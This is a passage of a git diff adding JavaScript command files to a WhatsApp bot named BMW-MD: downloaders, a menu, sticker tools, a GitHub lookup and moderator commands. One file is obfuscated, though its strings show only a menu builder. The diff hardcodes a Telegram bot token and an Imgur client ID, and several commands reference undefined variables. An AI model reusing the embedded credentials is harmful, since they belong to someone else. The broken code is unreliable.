+ zk.sendMessage(dest,{image : {url : igvid.data.data.data[0].url},caption : "ig image downloader powered by *Bmw-Md*"})
+ }
+
+ } catch (e) {repondre("erreur survenue lors du téléchargement \n " + e)}
+
+});
+
+
+adams({
+ nomCom: "facabook",
+ categorie: "Download",
+ reaction: "📽️"
+},
+async (dest, zk, commandeOptions) => {
+ const { repondre, ms, arg } = commandeOptions;
+
+ if (!arg[0]) {
+ repondre('Insert a public facebook video link!');
+ return;
+ }
+
+ const queryURL = arg.join(" ");
+
+ try {
+ getFBInfo(queryURL)
+ .then((result) => {
+ let caption = `
+ titre: ${result.title}
+ Lien: ${result.url}
+ `;
+ zk.sendMessage(dest,{image : { url : result.thumbnail}, caption : caption},{quoted : ms}) ;
+ zk.sendMessage(dest, { video: { url: result.hd }, caption: 'facebook video downloader powered by *Bmw-MD*' }, { quoted: ms });
+
+ })
+ .catch((error) => {console.log("Error:", error)
+ repondre('try fbdl2 on this link')});
+
+
+
+ } catch (error) {
+ console.error('Erreur lors du téléchargement de la vidéo :', error);
+ repondre('Erreur lors du téléchargement de la vidéo.' , error);
+ }
+});
+
+
+
+adams({ nomCom: "tiktok", categorie: "Download", reaction: "🎵" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`how to use this command:\n ${prefixe}tiktok tiktok_video_link`);
+ return;
+ }
+
+ const videoUrl = arg.join(" ");
+
+ let data = await axios.get('https://vihangayt.me/download/tiktok?url='+ videoUrl) ;
+
+ let tik = data.data.data
+
+ // Envoi du message avec le thumbnail de la vidéo
+ const caption = `
+Author: ${tik.author}
+Description: ${tik.desc}
+ `;
+
+
+ zk.sendMessage(dest, { video: { url: tik.links[0].a} , caption : caption },{quoted : ms});
+
+
+});
+
+adams({
+ nomCom: "facebook2",
+ categorie: "Download",
+ reaction: "📽️"
+},
+async (dest, zk, commandeOptions) => {
+ const { repondre, ms, arg } = commandeOptions;
+
+ if (!arg[0]) {
+ repondre('Insert a public facebook video link! !');
+ return;
+ }
+
+ const queryURL = arg.join(" ");
+
+ try {
+ getFBInfo(queryURL)
+ .then((result) => {
+ let caption = `
+ titre: ${result.title}
+ Lien: ${result.url}
+ `;
+ zk.sendMessage(dest,{image : { url : result.thumbnail}, caption : caption},{quoted : ms}) ;
+ zk.sendMessage(dest, { video: { url: result.sd }, caption: 'facebook video downloader powered by *Bmw-MD*' }, { quoted: ms });
+
+ })
+ .catch((error) => {console.log("Error:", error)
+ repondre(error)});
+
+
+
+ } catch (error) {
+ console.error('Erreur lors du téléchargement de la vidéo :', error);
+ repondre('Erreur lors du téléchargement de la vidéo.' , error);
+ }
+});
+**/
diff --git a/scs/bmwcmd.js b/scs/bmwcmd.js
new file mode 100644
index 0000000..c40e06e
--- /dev/null
+++ b/scs/bmwcmd.js
@@ -0,0 +1,169 @@
+
+const util = require('util');
+const fs = require('fs-extra');
+const { adams } = require(__dirname + "/../Ibrahim/adams");
+const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
+const os = require("os");
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../config");
+const more = String.fromCharCode(8206)
+const readmore = more.repeat(4001)
+
+adams({ nomCom: "cmd", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
+ let { cm } = require(__dirname + "/../Ibrahim//adams");
+ var coms = {};
+ var mode = "public";
+
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+
+ cm.map(async (com, index) => {
+ if (!coms[com.categorie])
+ coms[com.categorie] = [];
+ coms[com.categorie].push(com.nomCom);
+ });
+
+ moment.tz.setDefault("Africa/Nairobi");
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+ let infoMsg = `
+ *Hey🖐️* *${nomAuteurMessage}*
+
+ *BMW MD IS RUNNING WITH [${cm.length}0] COMMANDS*
+
+ *More commands will be out soon*
+
+ 🚘🚘🚘
+ `;
+
+let menuMsg = `
+> ⏲️ ᴛɪᴍᴇ: ${temps}
+> 📅 ᴅᴀᴛᴇ: ${date}
+
+
+> Made by : ©Ibrahim Adams
+`;
+
+ var lien = mybotpic();
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(infoMsg + menuMsg);
+
+}
+
+});
+
+
+/*const util = require('util');
+const fs = require('fs-extra');
+const { zokou } = require(__dirname + "/../framework/zokou");
+const { format } = require(__dirname + "/../framework/mesfonctions");
+const os = require("os");
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../set");
+const more = String.fromCharCode(8206)
+const readmore = more.repeat(4001)
+
+zokou({ nomCom: "script", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
+ let { cm } = require(__dirname + "/../framework//zokou");
+ var coms = {};
+ var mode = "public";
+
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+
+ cm.map(async (com, index) => {
+ if (!coms[com.categorie])
+ coms[com.categorie] = [];
+ coms[com.categorie].push(com.nomCom);
+ });
+
+ moment.tz.setDefault('Etc/GMT');
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+ let infoMsg = `
+ *BMW MD IMPORTANT INFO*
+❒───────────────────❒
+*GITHUB LINK*
+> https://github.com/ibrahimaitech/BMW-MD
+
+*WHATSAPP CHANNEL*
+> https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y
+
+*FOR MORE INFO TAP ON THE LINK BELOW*
+> https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO
+╭───────────────────❒
+│❒ *RAM* : ${format(os.totalmem() - os.freemem())}/${format(os.totalmem())}
+│❒ *DEV* : *Ibrahim Adams*
+╰───────────────────❒
+ `;
+
+let menuMsg = `
+ 𝑰𝑩𝑹𝑨𝑯𝑰𝑴 𝑨𝑫𝑨𝑴𝑺 𝑺𝑪𝑰𝑬𝑵𝑪𝑬
+
+❒────────────────────❒`;
+
+ var lien = mybotpic();
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" , gifPlayback : true }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(infoMsg + menuMsg);
+
+}
+
+});*/
diff --git a/scs/bmwcmds.js b/scs/bmwcmds.js
new file mode 100644
index 0000000..69dea5c
--- /dev/null
+++ b/scs/bmwcmds.js
@@ -0,0 +1,2 @@
+
+const _0x52f686=_0xbf0b;function _0xbf0b(_0x391867,_0x3fd588){const _0x679074=_0x6790();return _0xbf0b=function(_0xbf0b42,_0x55b571){_0xbf0b42=_0xbf0b42-0x1a7;let _0x3f68fa=_0x679074[_0xbf0b42];return _0x3f68fa;},_0xbf0b(_0x391867,_0x3fd588);}(function(_0x197893,_0x4de6c2){const _0x58d7c6=_0xbf0b,_0x383157=_0x197893();while(!![]){try{const _0x2f2628=parseInt(_0x58d7c6(0x1b5))/0x1+parseInt(_0x58d7c6(0x1cc))/0x2+parseInt(_0x58d7c6(0x1b6))/0x3+parseInt(_0x58d7c6(0x1c0))/0x4*(-parseInt(_0x58d7c6(0x1d2))/0x5)+-parseInt(_0x58d7c6(0x1c3))/0x6*(parseInt(_0x58d7c6(0x1ca))/0x7)+-parseInt(_0x58d7c6(0x1bb))/0x8*(-parseInt(_0x58d7c6(0x1b2))/0x9)+-parseInt(_0x58d7c6(0x1ab))/0xa*(parseInt(_0x58d7c6(0x1ce))/0xb);if(_0x2f2628===_0x4de6c2)break;else _0x383157['push'](_0x383157['shift']());}catch(_0x4a13de){_0x383157['push'](_0x383157['shift']());}}}(_0x6790,0xcb284));function _0x6790(){const _0x190b74=['log','util','420QGfXfa','*╭────❒*\x20*','private','HH:mm:ss','match','map','setDefault','117svNpqA','categorie','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','1414471rqDCcA','4091628dkOjdX','/../config','nomCom','fs-extra','sendMessage','310952KdopCr','moment-timezone','/../Ibrahim/adams','commands','Africa/Nairobi','212rxzYwc','MODE','*\x20*❒*','31614LvDfqa','public','DD/MM/YYYY','format','General','\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','push','1043Krhmsw','repeat','1169918iKSwEv','🥵🥵\x20Menu\x20erreur\x20','561638JZjwrM','fromCharCode','toLocaleLowerCase','\x20\x0a*THIS\x20COMMANDS\x20WILL*\x0a*HELP\x20YOU\x20KNOW\x20HOW*\x0a*TO\x20USE\x20ME*\x0a\x0a','10090iQAbYA','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x20\x20\x0a*╏*\x20','\x0a*╰─═════════════❒*\x20\x0a'];_0x6790=function(){return _0x190b74;};return _0x6790();}const util=require(_0x52f686(0x1aa)),fs=require(_0x52f686(0x1b9)),{adams}=require(__dirname+_0x52f686(0x1bd)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x52f686(0x1bc)),s=require(__dirname+_0x52f686(0x1b7)),more=String[_0x52f686(0x1cf)](0x200e),Taphere=more[_0x52f686(0x1cb)](0xfa1);adams({'nomCom':_0x52f686(0x1be),'categorie':_0x52f686(0x1c7)},async(_0x20205d,_0x2723b9,_0x4f7b48)=>{const _0x29beab=_0x52f686;let {ms:_0x573ec4,repondre:_0x64ddf,prefixe:_0x1e27c0,nomAuteurMessage:_0x212e3a,mybotpic:_0xfc909a}=_0x4f7b48,{cm:_0x55d2f6}=require(__dirname+'/../Ibrahim//adams');var _0x5e4349={},_0x36dec9=_0x29beab(0x1c4);s[_0x29beab(0x1c1)][_0x29beab(0x1d0)]()!='yes'&&(_0x36dec9=_0x29beab(0x1ad));_0x55d2f6[_0x29beab(0x1b0)](async(_0x59d8bc,_0x5cc03a)=>{const _0x1388eb=_0x29beab;if(!_0x5e4349[_0x59d8bc['categorie']])_0x5e4349[_0x59d8bc['categorie']]=[];_0x5e4349[_0x59d8bc[_0x1388eb(0x1b3)]][_0x1388eb(0x1c9)](_0x59d8bc[_0x1388eb(0x1b8)]);}),moment['tz'][_0x29beab(0x1b1)](_0x29beab(0x1bf));const _0x18cd9e=moment()[_0x29beab(0x1c6)](_0x29beab(0x1ae)),_0x3bfad1=moment()[_0x29beab(0x1c6)](_0x29beab(0x1c5));let _0x24b795=_0x29beab(0x1d1),_0x1de705=_0x29beab(0x1c8);for(const _0x411e45 in _0x5e4349){_0x1de705+=_0x29beab(0x1ac)+_0x411e45+_0x29beab(0x1c2);for(const _0x3fdf8a of _0x5e4349[_0x411e45]){_0x1de705+=_0x29beab(0x1a7)+_0x3fdf8a;}_0x1de705+=_0x29beab(0x1a8);}_0x1de705+=_0x29beab(0x1b4);var _0x34d957=_0xfc909a();if(_0x34d957[_0x29beab(0x1af)](/\.(mp4|gif)$/i))try{_0x2723b9[_0x29beab(0x1ba)](_0x20205d,{'video':{'url':_0x34d957},'caption':_0x24b795+_0x1de705,'footer':_0x29beab(0x1d3),'gifPlayback':!![]},{'quoted':_0x573ec4});}catch(_0x5cf000){console[_0x29beab(0x1a9)]('🥵🥵\x20Menu\x20erreur\x20'+_0x5cf000),_0x64ddf(_0x29beab(0x1cd)+_0x5cf000);}else{if(_0x34d957[_0x29beab(0x1af)](/\.(jpeg|png|jpg)$/i))try{_0x2723b9[_0x29beab(0x1ba)](_0x20205d,{'image':{'url':_0x34d957},'caption':_0x24b795+_0x1de705,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x573ec4});}catch(_0xb94b3d){console[_0x29beab(0x1a9)](_0x29beab(0x1cd)+_0xb94b3d),_0x64ddf(_0x29beab(0x1cd)+_0xb94b3d);}else _0x64ddf(_0x24b795+_0x1de705);}});
diff --git a/scs/bmwco.js b/scs/bmwco.js
new file mode 100644
index 0000000..14ad76c
--- /dev/null
+++ b/scs/bmwco.js
@@ -0,0 +1,390 @@
+//adams code
+
+const { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter');
+const { adams } = require("../Ibrahim/adams");
+const traduire = require("../Ibrahim/traduction");
+const { downloadMediaMessage, downloadContentFromMessage } = require('@whiskeysockets/baileys');
+const fs = require("fs-extra");
+const axios = require('axios');
+const { exec } = require("child_process");
+const ffmpeg = require("fluent-ffmpeg");
+const FormData = require('form-data');
+const { Catbox } = require('node-catbox'); // Import Catbox
+
+const catbox = new Catbox();
+
+async function uploadToCatbox(Path) {
+ if (!fs.existsSync(Path)) {
+ throw new Error("Fichier non existant");
+ }
+
+ try {
+ // Use Catbox to upload the file
+ const response = await catbox.uploadFile({
+ path: Path // Provide the path to the file
+ });
+
+ if (response) {
+ return response; // returns the uploaded file URL
+ } else {
+ throw new Error("Erreur lors de la récupération du lien du fichier");
+ }
+ } catch (err) {
+ throw new Error(String(err));
+ }
+}
+
+adams({ nomCom: "url", categorie: "General", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
+ const { msgRepondu, repondre } = commandeOptions;
+
+ if (!msgRepondu) {
+ repondre('mention a image or video');
+ return;
+ }
+
+ let mediaPath, mediaType;
+
+ if (msgRepondu.videoMessage) {
+ const videoSize = msgRepondu.videoMessage.fileLength; // Get the video size in bytes
+
+ // Check if the video size exceeds the limit (e.g., 50MB = 50 * 1024 * 1024 bytes)
+ if (videoSize > 50 * 1024 * 1024) {
+ repondre('The video is too long. Please send a smaller video.');
+ return;
+ }
+
+ mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage);
+ mediaType = 'video';
+ } else if (msgRepondu.imageMessage) {
+ mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage);
+ mediaType = 'image';
+ } else {
+ repondre('reply to an image or video');
+ return;
+ }
+
+ try {
+ const catboxUrl = await uploadToCatbox(mediaPath);
+ fs.unlinkSync(mediaPath); // Supprime le fichier après utilisation
+
+ // Respond with a custom message based on media type
+ if (mediaType === 'image') {
+ repondre(`Below is your image URL:\n${catboxUrl}`);
+ } else if (mediaType === 'video') {
+ repondre(`Below is your video URL:\n${catboxUrl}`);
+ }
+ } catch (error) {
+ console.error('Error while creating your url:', error);
+ repondre('Oops error');
+ }
+});
+
+adams({nomCom:"sticker",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
+
+let {ms,mtype,arg,repondre,nomAuteurMessage}=commandeOptions
+ var txt=JSON.stringify(ms.message)
+
+ var mime=mtype === "imageMessage" || mtype === "videoMessage";
+ var tagImage = mtype==="extendedTextMessage" && txt.includes("imageMessage")
+ var tagVideo = mtype==="extendedTextMessage" && txt.includes("videoMessage")
+
+const alea = (ext) => {
+ return `${Math.floor(Math.random() * 10000)}${ext}`;};
+
+
+ const stickerFileName = alea(".webp");
+
+
+ // image
+ if (mtype === "imageMessage" ||tagImage) {
+ let downloadFilePath;
+ if (ms.message.imageMessage) {
+ downloadFilePath = ms.message.imageMessage;
+ } else {
+ // picture mentioned
+ downloadFilePath =
+ ms.message.extendedTextMessage.contextInfo.quotedMessage.imageMessage;
+ }
+ // picture
+ const media = await downloadContentFromMessage(downloadFilePath, "image");
+ let buffer = Buffer.from([]);
+ for await (const elm of media) {
+ buffer = Buffer.concat([buffer, elm]);
+ }
+
+ sticker = new Sticker(buffer, {
+ pack:"BMW-MD",
+ author: nomAuteurMessage,
+ type:
+ arg.includes("crop") || arg.includes("c")
+ ? StickerTypes.CROPPED
+ : StickerTypes.FULL,
+ quality: 100,
+ });
+ } else if (mtype === "videoMessage" || tagVideo) {
+ // videos
+ let downloadFilePath;
+ if (ms.message.videoMessage) {
+ downloadFilePath = ms.message.videoMessage;
+ } else {
+ downloadFilePath =
+ ms.message.extendedTextMessage.contextInfo.quotedMessage.videoMessage;
+ }
+ const stream = await downloadContentFromMessage(downloadFilePath, "video");
+ let buffer = Buffer.from([]);
+ for await (const elm of stream) {
+ buffer = Buffer.concat([buffer, elm]);
+ }
+
+ sticker = new Sticker(buffer, {
+ pack:"BMW-MD", // pack stick
+ author: nomAuteurMessage, // name of the author of the stick
+ type:
+ arg.includes("-r") || arg.includes("-c")
+ ? StickerTypes.CROPPED
+ : StickerTypes.FULL,
+ quality: 40,
+ });
+ } else {
+ repondre("Please mention an image or video!");
+ return;
+ }
+
+ await sticker.toFile(stickerFileName);
+ await zk.sendMessage(
+ origineMessage,
+ {
+ sticker: fs.readFileSync(stickerFileName),
+ },
+ { quoted: ms }
+ );
+
+try{
+ fs.unlinkSync(stickerFileName)
+}catch(e){console.log(e)}
+
+
+
+
+
+
+});
+
+adams({nomCom:"scrop",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
+ const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
+
+ if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
+ if(!(arg[0])) {
+ pack = nomAuteurMessage
+ } else {
+ pack = arg.join(' ')
+ } ;
+ if (msgRepondu.imageMessage) {
+ mediamsg = msgRepondu.imageMessage
+ } else if(msgRepondu.videoMessage) {
+mediamsg = msgRepondu.videoMessage
+ }
+ else if (msgRepondu.stickerMessage) {
+ mediamsg = msgRepondu.stickerMessage ;
+ } else {
+ repondre('Uh media please'); return
+ } ;
+
+ var stick = await zk.downloadAndSaveMediaMessage(mediamsg)
+
+ let stickerMess = new Sticker(stick, {
+ pack: Bmw-Md,
+
+ type: StickerTypes.CROPPED,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+ zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms });
+
+});
+
+adams({nomCom:"take",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
+ const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
+
+ if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
+ if(!(arg[0])) {
+ pack = nomAuteurMessage
+ } else {
+ pack = arg.join(' ')
+ } ;
+ if (msgRepondu.imageMessage) {
+ mediamsg = msgRepondu.imageMessage
+ } else if(msgRepondu.videoMessage) {
+mediamsg = msgRepondu.videoMessage
+ }
+ else if (msgRepondu.stickerMessage) {
+ mediamsg = msgRepondu.stickerMessage ;
+ } else {
+ repondre('Uh a media please'); return
+ } ;
+
+ var stick = await zk.downloadAndSaveMediaMessage(mediamsg)
+
+ let stickerMess = new Sticker(stick, {
+ pack: BMW-MD,
+
+ type: StickerTypes.FULL,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+ zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms });
+
+});
+
+
+
+adams({ nomCom: "write", categorie: "Conversion", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
+ const { ms, msgRepondu, arg, repondre, nomAuteurMessage } = commandeOptions;
+
+ if (!msgRepondu) {
+ repondre('Please mention an image');
+ return;
+ }
+
+ if (!msgRepondu.imageMessage) {
+ repondre('The command only works with images');
+ return;
+ } ;
+ text = arg.join(' ') ;
+
+ if(!text || text === null) {repondre('Make sure to insert text') ; return } ;
+
+
+ const mediamsg = msgRepondu.imageMessage;
+ const image = await zk.downloadAndSaveMediaMessage(mediamsg);
+
+ //Create a FormData object
+ const data = new FormData();
+ data.append('image', fs.createReadStream(image));
+
+ //Configure headers
+ const clientId = 'b40a1820d63cd4e'; // Replace with your Imgur client ID
+ const headers = {
+ 'Authorization': `Client-ID ${clientId}`,
+ ...data.getHeaders()
+ };
+
+ // Configure the query
+ const config = {
+ method: 'post',
+ maxBodyLength: Infinity,
+ url: 'https://api.imgur.com/3/image',
+ headers: headers,
+ data: data
+ };
+
+ try {
+ const response = await axios(config);
+ const imageUrl = response.data.data.link;
+ console.log(imageUrl)
+
+ //Use imageUrl however you want (meme creation, etc.)
+ const meme = `https://api.memegen.link/images/custom/-/${text}.png?background=${imageUrl}`;
+
+ // Create the sticker
+ const stickerMess = new Sticker(meme, {
+ pack: nomAuteurMessage,
+ author: 'BMW-MD',
+ type: StickerTypes.FULL,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+
+ const stickerBuffer2 = await stickerMess.toBuffer();
+ zk.sendMessage(
+ origineMessage,
+ { sticker: stickerBuffer2 },
+ { quoted: ms }
+ );
+
+ } catch (error) {
+ console.error('Error uploading to Imgur :', error);
+ repondre('An error occurred while creating the meme.');
+ }
+});
+
+
+
+adams({nomCom:"photo",categorie: "Conversion", reaction: "👨🏿💻"},async(dest,zk,commandeOptions)=>{
+ const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
+
+ if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
+
+ if (!msgRepondu.stickerMessage) {
+ repondre('Um mention a non-animated sticker'); return
+ } ;
+
+ let mediaMess = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage);
+
+ const alea = (ext) => {
+ return `${Math.floor(Math.random() * 10000)}${ext}`;};
+
+ let ran = await alea(".png");
+
+
+ exec(`ffmpeg -i ${mediaMess} ${ran}`, (err) => {
+ fs.unlinkSync(mediaMess);
+ if (err) {
+ zk.sendMessage(
+ dest,
+ {
+ text: 'A non-animated sticker please',
+ },
+ { quoted: ms }
+ );
+ return;
+ }
+ let buffer = fs.readFileSync(ran);
+ zk.sendMessage(
+ dest,
+ { image: buffer },
+ { quoted: ms }
+ );
+ fs.unlinkSync(ran);
+ });
+});
+
+adams({ nomCom: "trt", categorie: "Conversion", reaction: "👨🏿💻" }, async (dest, zk, commandeOptions) => {
+
+ const { msgRepondu, repondre , arg } = commandeOptions;
+
+
+ if(msgRepondu) {
+ try {
+
+
+
+ if(!arg || !arg[0]) { repondre('(eg : trt en)') ; return }
+
+
+ let texttraduit = await traduire(msgRepondu.conversation , {to : arg[0]}) ;
+
+ repondre(texttraduit)
+
+ } catch (error) {
+
+ repondre('Mention a texte Message') ;
+
+ }
+
+ } else {
+
+ repondre('Mention a texte Message')
+ }
+
+
+
+}) ;
diff --git a/scs/bmwcu.js b/scs/bmwcu.js
new file mode 100644
index 0000000..ff1c267
--- /dev/null
+++ b/scs/bmwcu.js
@@ -0,0 +1,29 @@
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': 'github',
+ 'reaction': '📃',
+ 'categorie': "Search"
+},
+ async (_0x52e003, _0x14d9f6, _0x5f1e4d) => {
+ const _0x3c7f3f = _0x4f7595.join(" ");
+ if (!_0x3c7f3f) {
+ return _0x3b1d82("Give me a valid github username like: " + _0x4fdb82 + "github ibrahimaitech");
+ }
+ const _0x5d3fd3 = await fetch("https://api.github.com/users/" + _0x3c7f3f);
+ const _0x546dd2 = await _0x5d3fd3.json();
+ const _0x5892a1 = _0x546dd2.id;
+ const _0x9d02ae = _0x546dd2.name;
+ const _0x406595 = _0x546dd2.login;
+ const _0x3a4d0f = _0x546dd2.bio;
+ const _0x34623f = _0x546dd2.company;
+ const _0x5b8e0e = _0x546dd2.location;
+ const _0x24d738 = _0x546dd2.email;
+ const _0x3a22e7 = _0x546dd2.blog;
+ const _0x170599 = _0x546dd2.repos_url;
+ const _0x1ada1e = _0x546dd2.gists_url;
+ const _0x1f7a0c = _0x546dd2.followers;
+ const _0x86d2d1 = _0x546dd2.following;
+ await _0x3b1d82("\n °GITHUB USER INFO°\n \n🚩 Id : " + _0x5892a1 + "\n🔖 Name : " + _0x9d02ae + "\n🔖 Username : " + _0x406595 + "\n✨ Bio : " + _0x3a4d0f + "\n🏢 Company : " + _0x34623f + "\n📍 Location : " + _0x5b8e0e + "\n📧 Email : " + _0x24d738 + "\n📰 Blog : " + _0x3a22e7 + "\n🔓 Public Repo : " + _0x170599 + "\n🔐 Public Gists : " + _0x1ada1e + "\n👪 Followers : " + _0x1f7a0c + "\n🫶 Following : " + _0x86d2d1);
+});
diff --git a/scs/bmwd.js b/scs/bmwd.js
new file mode 100644
index 0000000..43b22d7
--- /dev/null
+++ b/scs/bmwd.js
@@ -0,0 +1,602 @@
+const { adams } = require('../Ibrahim/adams');
+const axios = require("axios")
+let { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter');
+const {isUserBanned , addUserToBanList , removeUserFromBanList} = require("../lib/banUser");
+const {addGroupToBanList,isGroupBanned,removeGroupFromBanList} = require("../lib/banGroup");
+const {isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList} = require("../lib/onlyAdmin");
+const {removeSudoNumber,addSudoNumber,issudo} = require("../lib/sudo");
+//const conf = require("../set");
+//const fs = require('fs');
+const sleep = (ms) =>{
+ return new Promise((resolve) =>{ setTimeout (resolve, ms)})
+
+ } ;
+
+
+ adams({ nomCom: "tgs", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+ const { ms, repondre, arg, nomAuteurMessage, superUser } = commandeOptions;
+
+ if (!superUser) {
+ repondre('Only Mods can use this command'); return;
+ }
+ //const apikey = conf.APILOLHUMAIN
+
+ // if (apikey === null || apikey === 'null') { repondre('Veillez vérifier votre apikey ou si vous en avez pas , veiller crée un compte sur api.lolhuman.xyz et vous en procurer une.'); return; };
+
+ if (!arg[0]) {
+ repondre("put a telegramme stickers link ");
+ return;
+ }
+
+ let lien = arg.join(' ');
+
+ let name = lien.split('/addstickers/')[1] ;
+
+ let api = 'https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getStickerSet?name=' + encodeURIComponent(name) ;
+
+ try {
+
+ let stickers = await axios.get(api) ;
+
+ let type = null ;
+
+ if (stickers.data.result.is_animated === true ||stickers.data.result.is_video === true ) {
+
+ type = 'animated sticker'
+ } else {
+ type = 'not animated sticker'
+ }
+
+ let msg = ` Bwm-md-stickers-dl
+
+ *Name :* ${stickers.data.result.name}
+ *Type :* ${type}
+ *Length :* ${(stickers.data.result.stickers).length}
+
+ Downloading...`
+
+ await repondre(msg) ;
+
+ for ( let i = 0 ; i < (stickers.data.result.stickers).length ; i++ ) {
+
+ let file = await axios.get(`https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getFile?file_id=${stickers.data.result.stickers[i].file_id}`) ;
+
+ let buffer = await axios({
+ method: 'get', // Utilisez 'get' pour télécharger le fichier
+ url:`https://api.telegram.org/file/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/${file.data.result.file_path}` ,
+ responseType: 'arraybuffer', // Définissez le type de réponse sur 'stream' pour gérer un flux de données
+ })
+
+
+ const sticker = new Sticker(buffer.data, {
+ pack: nomAuteurMessage,
+ author: "Bwm-md",
+ type: StickerTypes.FULL,
+ categories: ['🤩', '🎉'],
+ id: '12345',
+ quality: 50,
+ background: '#000000'
+ });
+
+ const stickerBuffer = await sticker.toBuffer(); // Convertit l'autocollant en tampon (Buffer)
+
+ await zk.sendMessage(
+ dest,
+ {
+ sticker: stickerBuffer, // Utilisez le tampon (Buffer) directement dans l'objet de message
+ },
+ { quoted: ms }
+ );
+ }
+
+ } catch (e) {
+ repondre("we got an error \n", e);
+ }
+ });
+
+adams({ nomCom: "crew", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
